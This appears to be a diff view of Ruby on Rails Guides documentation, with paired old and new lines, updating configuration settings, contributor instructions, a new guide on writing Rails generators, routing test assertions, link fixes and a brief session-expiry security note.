* +config.action_view.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information.
h4. Configuring Action Mailer
There are a number of settings available on +ActionMailer::Base+:
There are a number of settings available on +config.action_mailer+:
* +template_root+ gives the root folder for Action Mailer templates.
* +config.action_mailer.template_root+ gives the root folder for Action Mailer templates.
* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.
* +config.action_mailer.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.
* +smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options:
* +config.action_mailer.smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options:
** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
** +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it.
** +:domain+ - If you need to specify a HELO domain, you can do it here.
@ -150,48 +207,46 @@ There are a number of settings available on +ActionMailer::Base+:
** +:password+ - If your mail server requires authentication, set the password in this setting.
** +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+.
* +sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options:
* +config.action_mailer.sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options:
** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+.
** +:arguments+ - The command line arguments. Defaults to +-i -t+.
* +raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+.
* +config.action_mailer.raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+.
* +delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+.
* +config.action_mailer.delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+.
* +perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing.
* +config.action_mailer.perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing.
* +default_charset+ tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to +utf-8+.
* +config.action_mailer.default_charset+ tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to +utf-8+.
* +default_content_type+ specifies the default content type used for the main part of the message. It defaults to "text/plain"
* +config.action_mailer.default_content_type+ specifies the default content type used for the main part of the message. It defaults to "text/plain"
* +default_mime_version+ is the default MIME version for the message. It defaults to +1.0+.
* +config.action_mailer.default_mime_version+ is the default MIME version for the message. It defaults to +1.0+.
* +default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates
* +config.action_mailer.default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates
which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to +["text/html", "text/enriched", "text/plain"]+. Items that appear first in the array have higher priority in the mail client
and appear last in the mime encoded message.
h4. Configuring Active Resource
There is a single configuration setting available on +ActiveResource::Base+:
There is a single configuration setting available on +config.active_resource+:
<tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging.
* +config.active_resource.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging.
h4. Configuring Active Support
There are a few configuration options available in Active Support:
* +config.active_support.escape_html_entities_in_json+ enables or disables the escaping of HTML entities in JSON serialization. Defaults to _true_.
* +config.active_support.use_standard_json_time_format+ enables or disables serializing dates to ISO 8601 format. Defaults to _false_.
* +ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
* +ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations.
* +ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
h4. Configuring Active Model
Active Model currently has a single configuration setting:
* +ActiveModel::Errors.default_error_messages+ is an array containing all of the validation error messages.
h3. Using Initializers
After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.
@ -230,5 +285,6 @@ h3. Changelog
"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28
* August 13, 2009: Updated with config syntax and added general configuration options by "John Pignata"
* January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy
* November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy

View File

@ -14,7 +14,7 @@ endprologue.
h3. Reporting a Rails Issue
Rails uses a "Lighthouse project":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/ to track issues (primarily bugs and contributions of new code). If you've found a bug in Rails, this is the place to start.
Rails uses a "Lighthouse project":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/ to track issues (primarily bugs and contributions of new code). If you've found a bug in Rails, this is the place to start. You'll need to create a (free) Lighthouse account in order to comment on issues or to upload tests or patches.
NOTE: Bugs in the most recent released version of Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this Guide you'll find out how to get edge Rails for testing.
@ -32,6 +32,10 @@ h4. Special Treatment for Security Issues
If you've found a security vulnerability in Rails, please do *not* report it via a Lighthouse ticket. Lighthouse tickets are public as soon as they are entered. Instead, you should use the dedicated email address "security@rubyonrails.org":mailto:security@rubyonrails.org to report any vulnerabilities. This alias is monitored and the core team will work with you to quickly and completely address any such vulnerabilities.
WARNING: Just to emphasize the point, _please do not report security vulnerabilities on public Lighthouse tickets_. This will only expose your fellow Rails developers to needless risks.
You should receive an acknowledgement and detailed response to any reported security issue within 48 hours. If you don't think you're getting adequate response from the security alias, refer to the "Rails security policy page":http://rubyonrails.org/security for direct emails for the current Rails security coordinators.
h4. What About Feature Requests?
Please don't put "feature request" tickets into Lighthouse. If there's a new feature that you want to see added to Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Rails. If you enter a wishlist item in Lighthouse with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
@ -47,6 +51,7 @@ Rails uses git for source code control. You wont be able to do anything witho
* "Everyday Git":http://www.kernel.org/pub/software/scm/git/docs/everyday.html will teach you just enough about git to get by.
* The "PeepCode screencast":https://peepcode.com/products/git on git ($9) is easier to follow.
* "GitHub":http://github.com/guides/home offers links to a variety of git resources.
* "Pro Git":http://progit.org/book/ is an entire book about git with a Creative Commons license.
h4. Get the Rails Source Code
@ -57,9 +62,25 @@ git clone git://github.com/rails/rails.git
cd rails
</shell>
h4. Pick a Branch
Currently, there is active work being done on both the 2-3-stable branch of Rails and on the master branch (which will become Rails 3.0). If you want to work with the master branch, you're all set. To work with 2.3, you'll need to set up and switch to your own local tracking branch:
<shell>
git branch --track 2-3-stable origin/2-3-stable
git checkout 2-3-stable
</shell>
TIP: You may want to "put your git branch name in your shell prompt":http://github.com/guides/put-your-git-branch-name-in-your-shell-prompt to make it easier to remember which version of the code you're working with.
h4. Set up and Run the Tests
All of the Rails tests must pass with any code you submit, otherwise you have no chance of getting code accepted. This means you need to be able to run the tests. For the tests that touch the database, this means creating the databases. If you're using MySQL:
All of the Rails tests must pass with any code you submit, otherwise you have no chance of getting code accepted. This means you need to be able to run the tests. Rails needs the +mocha+ gem for running some tests, so install it with:
<shell>
gem install mocha
</shell>
For the tests that touch the database, this means creating the databases. If you're using MySQL:
<shell>
mysql> create database activerecord_unittest;
@ -79,15 +100,15 @@ rake test_sqlite3
rake test_sqlite3 TEST=test/cases/validations_test.rb
</shell>
You can change +sqlite3+ with +jdbcmysql+, +jdbcsqlite3+, +jdbcpostgresql+, +mysql+ or +postgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the Rails continuous integration server runs.
You can replace +sqlite3+ with +jdbcmysql+, +jdbcsqlite3+, +jdbcpostgresql+, +mysql+ or +postgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the Rails continuous integration server runs.
NOTE: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, SQLite 2, and SQLite 3. Subtle differences between the various Active Record database adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
NOTE: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite 3. Subtle differences between the various Active Record database adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
h3. Helping to Resolve Existing Issues
As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "open tickets":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets?q=state%3Aopen list in Lighthouse, you'll find hundreds of issues already requiring attention. What can you do for these? Quite a bit, actually:
As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "open tickets":https://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets?q=state%3Aopen list in Lighthouse, you'll find hundreds of issues already requiring attention. What can you do for these? Quite a bit, actually:
h4. Verifying Bug Reports
@ -110,7 +131,7 @@ git checkout -b testing_branch
Then you can apply their patch:
<shell>
git am < their-patch-file.diff
git apply their-patch-file.diff
</shell>
After applying a patch, test it out! Here are some things to think about:
@ -132,7 +153,7 @@ h3. Contributing to the Rails Documentation
Another area where you can help out if you're not yet ready to take the plunge to writing Rails core code is with Rails documentation. You can help with the Rails Guides or the Rails API documentation.
TIP: "docrails":http://github.com/lifo/docrails/tree/master is the documentation branch for Rails with an *open commit policy*. You can simply PM "lifo":http://github.com/lifo on Github and ask for the commit rights. Documentation changes made as part of the "docrails":http://github.com/lifo/docrails/tree/master project, are merged back to the Rails master code from time to time. Check out the "original announcement":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch for more details.
TIP: "docrails":http://github.com/lifo/docrails/tree/master is the documentation branch for Rails with an *open commit policy*. You can simply PM "lifo":http://github.com/lifo on Github and ask for the commit rights. Documentation changes made as part of the "docrails":http://github.com/lifo/docrails/tree/master project are merged back to the Rails master code from time to time. Check out the "original announcement":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch for more details.
h4. The Rails Guides
@ -188,6 +209,8 @@ h4. Sanity Check
You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what youre doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you cant convince one other developer of the beauty of your code, youre unlikely to convince the core team either.
You might also want to check out the "RailsBridge BugMash":http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash as a way to get involved in a group effort to improve Rails. This can help you get started and help check your code when you're writing your first patches.
h4. Commit Your Changes
When you're happy with the code on your computer, you need to commit the changes to git:
@ -243,6 +266,7 @@ h3. Changelog
"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/64
* August 1, 2009: Updates/amplifications by "Mike Gunderloy":credits.html#mgunderloy
* March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy

View File

@ -330,7 +330,7 @@ h4. The Context
When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
ruby-debug creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
At any time you can call the +backtrace+ command (or its alias +where+) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then +backtrace+ will supply the answer.

View File

@ -754,9 +754,9 @@ Many apps grow beyond simple forms editing a single object. For example when cre
* Ryan Bates' series of Railscasts on "complex forms":http://railscasts.com/episodes/75
* Handle Multiple Models in One Form from "Advanced Rails Recipes":http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf
* Eloy Duran's "nested_params":http://github.com/alloy/complex-form-examples/tree/alloy-nested_params plugin
* Eloy Duran's "complex-forms-examples":http://github.com/alloy/complex-form-examples/ application
* Lance Ivy's "nested_assignment":http://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":http://github.com/cainlevy/complex-form-examples/tree/cainlevy
* James Golick's "attribute_fu":http://github.com/giraffesoft/attribute_fu/tree plugin
* James Golick's "attribute_fu":http://github.com/jamesgolick/attribute_fu plugin
h3. Changelog

View File

@ -0,0 +1,378 @@
h2. Creating and customizing Rails Generators
Rails generators are an essential tool if you plan to improve your workflow and in this guide you will learn how to create and customize already existing generators.
In this guide you will:
* Learn how to see which generators are available in your application;
* Create a generator using templates;
* Learn how Rails searches for generators before invoking them;
* Customize your scaffold by creating new generators;
* Customize your scaffold by changing generators templates;
* Learn how to use fallbacks to avoid overwriting a huge set of generators;
endprologue.
NOTE: This guide is about Rails generators for versions >= 3.0. Rails generators from previous versions are not supported.
h3. First contact
When you create an application using the +rails+ command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking +script/generate+:
<shell>
$ rails myapp
$ cd myapp
$ ruby script/generate
</shell>
You will get a list of all generators that comes with Rails. If you need a detailed description, for instance about the helper generator, you can simply do:
<shell>
$ ruby script/generate helper --help
</shell>
h3. Creating your first generator
Since Rails 3.0, generators are built on top of "Thor":http://github.com/wycats/thor. Thor has a powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named +initializer.rb+ inside +config/initializers+.
The first step is to create a file at +RAILS_APP/lib/generators/initializer_generator.rb+ with the following content:
<ruby>
class InitializerGenerator < Rails::Generators::Base
def create_initializer_file
create_file "config/initializers/initializer.rb", "# Add initialization content here"
end
end
</ruby>
Our new generator is quite simple: it inherits from +Rails::Generators::Base+ and have one method definition. Each public method in the generator is executed when a generator is invoked. Finally, we invoke the +create_file+ method that will create a file at the given destination with the given content. If you are familiar with Rails Application Templates API, you are at home with new generators API.
To invoke our new generator, we just need to do:
<shell>
$ ruby script/generate initializer
</shell>
Before we go on, let's see our brand new generator description:
<shell>
$ ruby script/generate initializer --help
</shell>
Rails usually is able to generate good descriptions if a generator is namespaced, as +ActiveRecord::Generators::ModelGenerator+, but not in this particular case. We can solve this problem in two ways. The first one is calling +desc+ inside our generator:
<ruby>
class InitializerGenerator < Rails::Generators::Base
desc "This generator creates an initializer file at config/initializers"
def create_initializer_file
create_file "config/initializers/initializer.rb", "# Add initialization content here"
end
end
</ruby>
Now we can see the new description by invoking +--help+ in the new generator. The second way to add a description is by creating a file named +USAGE+ in the same directory as our generator. We are going to do that in the next step.
h3. Creating generators with generators
A faster way to create a generator is using the generator's generator:
<shell>
$ ruby script/generate generator initializer
create lib/generators/initializer
create lib/generators/initializer/initializer_generator.rb
create lib/generators/initializer/USAGE
create lib/generators/initializer/templates
</shell>
And it will create a new generator as follow:
<ruby>
class InitializerGenerator < Rails::Generators::NamedBase
def self.source_root
@source_root ||= File.expand_path(File.join(File.dirname(__FILE__), 'templates'))
end
end
</ruby>
At first, we can notice that we are inheriting from +Rails::Generators::NamedBase+ instead of +Rails::Generators::Base+. This means that our generator expects as least one argument, which will be the name of the initializer.
We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
<shell>
$ ruby script/generate initializer --help
Usage:
script/generate initializer NAME [options]
</shell>
We can also see in our new generator that it has a class method called +source_root+. This method points to where our generator templates will be placed and by default it points to the created directory under +RAILS_APP/lib/generators/initializer/templates+. In order to understand what a generator template means, let's create a file at +RAILS_APP/lib/generators/initializer/templates/initializer.rb+ with the following content:
<ruby>
# Add initialization content here
</ruby>
And now let's change the generator to copy this template when invoked:
<ruby>
class InitializerGenerator < Rails::Generators::NamedBase
def self.source_root
@source_root ||= File.expand_path(File.join(File.dirname(__FILE__), 'templates'))
end
def copy_initializer_file
copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
end
end
</ruby>
And let's execute our generator:
<shell>
$ ruby script/generate initializer foo
</shell>
We can see that now a initializer named foo was created at +config/initializers/foo.rb+ with the contents of our template. That means that copy_file copied a file in our source root to the destination path we gave. The method +file_name+ is automatically created when we inherit from +Rails::Generators::NamedBase+.
h3. Generators lookup
Now that we know how to create generators, we must know where Rails looks for generators before invoking them. When we invoke the initializer generator, Rails looks at the following paths in the given order:
<shell>
RAILS_APP/lib/generators
RAILS_APP/lib/rails_generators
RAILS_APP/vendor/plugins/*/lib/generators
RAILS_APP/vendor/plugins/*/lib/rails_generators
GEMS_PATH/*/lib/generators
GEMS_PATH/*/lib/rails_generators
~/rails/generators
~/rails/rails_generators
RAILS_GEM/lib/rails/generators
</shell>
First Rails looks for generators in your application, then in plugins and/or gems, then in your home and finally the builtin generators. One very important thing to keep in mind is that in Rails 3.0 and after it only looks for generators in gems being used in your application. So if you have rspec installed as a gem, but it's not declared in your application, Rails won't be able to invoke it.
h3. Customizing your workflow
Rails generators are flexible enough to let you customize your scaffold the way you want. In your +config/application.rb+ there is a section just for generators:
<ruby>
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, :fixture => true
end
</ruby>
Before we customize our workflow, let's first see how our scaffold looks like:
<shell>
$ ruby script/generate scaffold User name:string
invoke active_record
create db/migrate/20091120125558_create_users.rb
create app/models/user.rb
invoke test_unit
create test/unit/user_test.rb
create test/fixtures/users.yml
route map.resources :users
invoke scaffold_controller
create app/controllers/users_controller.rb
invoke erb
create app/views/users
create app/views/users/index.html.erb
create app/views/users/edit.html.erb
create app/views/users/show.html.erb
create app/views/users/new.html.erb
create app/views/users/_form.html.erb
create app/views/layouts/users.html.erb
invoke test_unit
create test/functional/users_controller_test.rb
invoke helper
create app/helpers/users_helper.rb
invoke test_unit
create test/unit/helpers/users_helper_test.rb
invoke stylesheets
create public/stylesheets/scaffold.css
</shell>
Looking at this output, is easy to understand how generators work on Rails 3.0 and above. The scaffold generator actually doesn't generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
Our first customization on the workflow will be to stop generating stylesheets and test fixtures on scaffold. We can achieve that by changing our application to the following:
<ruby>
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, :fixture => false
g.stylesheets false
end
</ruby>
If we generate another resource on scaffold, we can notice that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use +Datamapper+ and +Rspec+ instead of +ActiveRecord+ and +TestUnit+, is just a matter of adding their gems to your application and configuring your generators.
To show that, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator:
<shell>
$ ruby script/generate generator my_helper
</shell>
After that, we can delete both templates directory and the +source_root+ class method from our new generators, because we are not going to need them. So our new generator looks like the following:
<ruby>
class MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
module #{class_name}Helper
attr_reader :#{plural_name}, :#{plural_name.singularize}
end
FILE
end
end
</ruby>
We can try out our new generator by creating a helper for users:
<shell>
$ ruby script/generate my_helper users
</shell>
And it will generate the following helper file in app/helpers:
<ruby>
module UsersHelper
attr_reader :users, :user
end
</ruby>
Which is what we expected. We can now tell scaffold to use our new helper generator by configuring +config/application.rb+ once again:
<ruby>
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, :fixture => false
g.stylesheets false
g.helper :my_helper
end
</ruby>
And see it in action when invoking generator once again:
<shell>
$ ruby script/generate scaffold Post body:text
[...]
invoke my_helper
create app/helpers/posts_helper.rb
</shell>
We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.
Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just need to implement this hook in order to be compatible.
To do that, we can change your generator to the following:
<ruby>
class MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
module #{class_name}Helper
attr_reader :#{plural_name}, :#{plural_name.singularize}
end
FILE
end
hook_for :test_framework
end
</ruby>
Now, when the helper generator is invoked and let's say test unit is configured as test framework, it will try to invoke both +MyHelper::Generators::TestUnitGenerator+ and +TestUnit::Generators::MyHelperGenerator+. Since none of those are defined, we can tell our generator to invoke +TestUnit::Generators::HelperGenerator+ instead, which is defined since it's a Rails hook. To do that, we just need to add:
<ruby>
# Search for :helper instead of :my_helper
hook_for :test_framework, :as => :helper
</ruby>
And now you can re-run scaffold for another resource and see it generating tests as well!
h3. Customizing your workflow by changing generators templates
In the step above, we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators.
In Rails 3.0 and above, generators does not look only in the source root for templates, they also search for templates in other paths. And one of them is inside +RAILS_APP/lib/templates+. Since we want to customize +Rails::Generators::HelperGenerator+, we can do that by simple making a template copy inside +RAILS_APP/lib/templates/rails/helper+ with the name +helper.rb+. So let's create such file with the following content:
<erb>
module <%= class_name %>Helper
attr_reader :<%= plural_name %>, <%= plural_name.singularize %>
end
</erb>
So now we can revert the changes in +config/application.rb+:
<ruby>
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, :fixture => false
g.stylesheets false
end
</ruby>
If you generate another resource, you can see that we got exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating +edit.html.erb+, +index.html.erb+ and so on inside +RAILS_APP/lib/templates/erb/scaffold+.
h3. Adding generators fallbacks
One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit test framework, like "shoulda":http://github.com/thoughtbot/shoulda does. Since TestUnit already implements all generators required by Rails and shoulda just want to overwrite part of it, there is no need for shoulda to reimplement some generators again, they can simply tell Rails to use a +TestUnit+ generator if none was found under +Shoulda+ namespace.
We can easily simulate this behavior by changing our +config/application.rb+ once again:
<ruby>
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :shoulda, :fixture => false
g.stylesheets false
end
</ruby>
And at the end of the same file:
<ruby>
require 'rails/generators'
Rails::Generators.fallbacks[:shoulda] = :test_unit
</ruby>
Now, if create a Comment scaffold, you will see that shoulda generators are being invoked, and at the end, they are just falling back to test unit generators:
<shell>
$ ruby script/generate scaffold Comment body:text
invoke active_record
create db/migrate/20091120151323_create_comments.rb
create app/models/comment.rb
invoke shoulda
create test/unit/comment_test.rb
create test/fixtures/comments.yml
route map.resources :comments
invoke scaffold_controller
create app/controllers/comments_controller.rb
invoke erb
create app/views/comments
create app/views/comments/index.html.erb
create app/views/comments/edit.html.erb
create app/views/comments/show.html.erb
create app/views/comments/new.html.erb
create app/views/comments/_form.html.erb
create app/views/layouts/comments.html.erb
invoke shoulda
create test/functional/comments_controller_test.rb
invoke my_helper
create app/helpers/comments_helper.rb
invoke shoulda
create test/unit/helpers/comments_helper_test.rb
</shell>
Such tool allows your generators to have single responsibility, increasing the code reuse and reducing the amount of code duplication.
h3. Changelog
"Lighthouse Ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/102
* November 20, 2009: First release version by José Valim

View File

@ -22,8 +22,8 @@ This guide is designed for beginners who want to get started with a Rails applic
It is highly recommended that you *familiarize yourself with Ruby before diving into Rails*. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the internet for learning Ruby, including:
* "Mr. Neighborly's Humble Little Ruby Book":http://www.humblelittlerubybook.com
* "Programming Ruby":http://www.rubycentral.com/book
* "Why's (Poignant) Guide to Ruby":http://poignantguide.net/ruby/
* "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/
* "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/
h3. What is Rails?
@ -51,7 +51,7 @@ A model represents the information (data) of the application and the rules to ma
h5. Views
Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.
Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that perform tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.
h5. Controllers
@ -381,7 +381,7 @@ $ rake db:migrate
Remember, you can't run migrations before running +rake db:create+ to create your database, as we covered earlier.
NOTE: Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your +config/database.yml+ file.
NOTE. Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your +config/database.yml+ file.
h4. Adding a Link
@ -1052,7 +1052,7 @@ This creates a new +Comment+ object _and_ sets up the +post_id+ field to have th
h4. Building Views
Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.
Because you skipped scaffolding, you'll need to build views for comments "by hand". Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.
The +views/comments/index.html.erb+ view:

View File

@ -243,7 +243,7 @@ map.dashboard '/:locale', :controller => "dashboard"
Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +map.root+ declaration.)
IMPORTANT: This solution has currently one rather big *downside*. Due to the _default_url_options_ implementation, you have to pass the +:id+ option explicitly, like this: +link_to 'Show', book_url(:id => book)+ and not depend on Rails' magic in code like +link_to 'Show', book+. If this should be a problem, have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":http://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":http://github.com/raul/translate_routes/tree/master. See also the page "How to encode the current locale in the URL":http://rails-i18n.org/wiki/pages/how-to-encode-the-current-locale-in-the-url in the Rails i18n Wiki.
IMPORTANT: This solution has currently one rather big *downside*. Due to the _default_url_options_ implementation, you have to pass the +:id+ option explicitly, like this: +link_to 'Show', book_url(:id => book)+ and not depend on Rails' magic in code like +link_to 'Show', book+. If this should be a problem, have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":http://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":http://github.com/raul/translate_routes/tree/master. See also the page "How to encode the current locale in the URL":http://rails-i18n.org/wiki/wikipages/how-to-encode-the-current-locale-in-the-url in the Rails i18n Wiki.
h4. Setting the Locale from the Client Supplied Information

View File

@ -582,7 +582,7 @@ The Active Record way claims that intelligence belongs in your models, not in th
Validations such as +validates_uniqueness_of+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.
Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "foreign_key_migrations":http://github.com/harukizaemon/foreign_key_migrations/tree/master which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+).
Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "foreign_key_migrations":http://github.com/harukizaemon/redhillonrails/tree/master/foreign_key_migrations/ which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+).
h3. Changelog

View File

@ -1406,7 +1406,7 @@ rake rdoc
h3. Appendix
If you prefer to use RSpec instead of Test::Unit, you may be interested in the "RSpec Plugin Generator":http://github.com/pat-maddox/rspec-plugin-generator/tree/master.
If you prefer to use RSpec instead of Test::Unit, you may be interested in the "RSpec Plugin Generator":http://github.com/patmaddox/rspec-plugin-generator.
h4. References

View File

@ -68,7 +68,7 @@ run ActionController::Dispatcher.new
And start the server:
<shell>
[lifo@null application]$ rackup
[lifo@null application]$ rackup config.ru
</shell>
To find out more about different +rackup+ options:

View File

@ -871,13 +871,13 @@ h5. The +assert_recognizes+ Assertion
The +assert_recognizes+ assertion is the inverse of +assert_generates+. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.
<ruby>
assert_recognizes { :controller => "photos", :action => "show", :id => "1" }, "/photos/1"
assert_recognizes({ :controller => "photos", :action => "show", :id => "1" }, "/photos/1")
</ruby>
You can supply a +:method+ argument to specify the HTTP verb:
<ruby>
assert_recognizes { :controller => "photos", :action => "create" }, { :path => "photos", :method => :post }
assert_recognizes({ :controller => "photos", :action => "create" }, { :path => "photos", :method => :post })
</ruby>
You can also use the RESTful helpers to test recognition of a RESTful route:
@ -891,7 +891,7 @@ h5. The +assert_routing+ Assertion
The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+.
<ruby>
assert_routing { :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }
assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" })
</ruby>
h3. Changelog

View File

@ -149,26 +149,24 @@ h4. Session Expiry
-- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20m")+ to expire sessions that were used longer than 20 minutes ago.
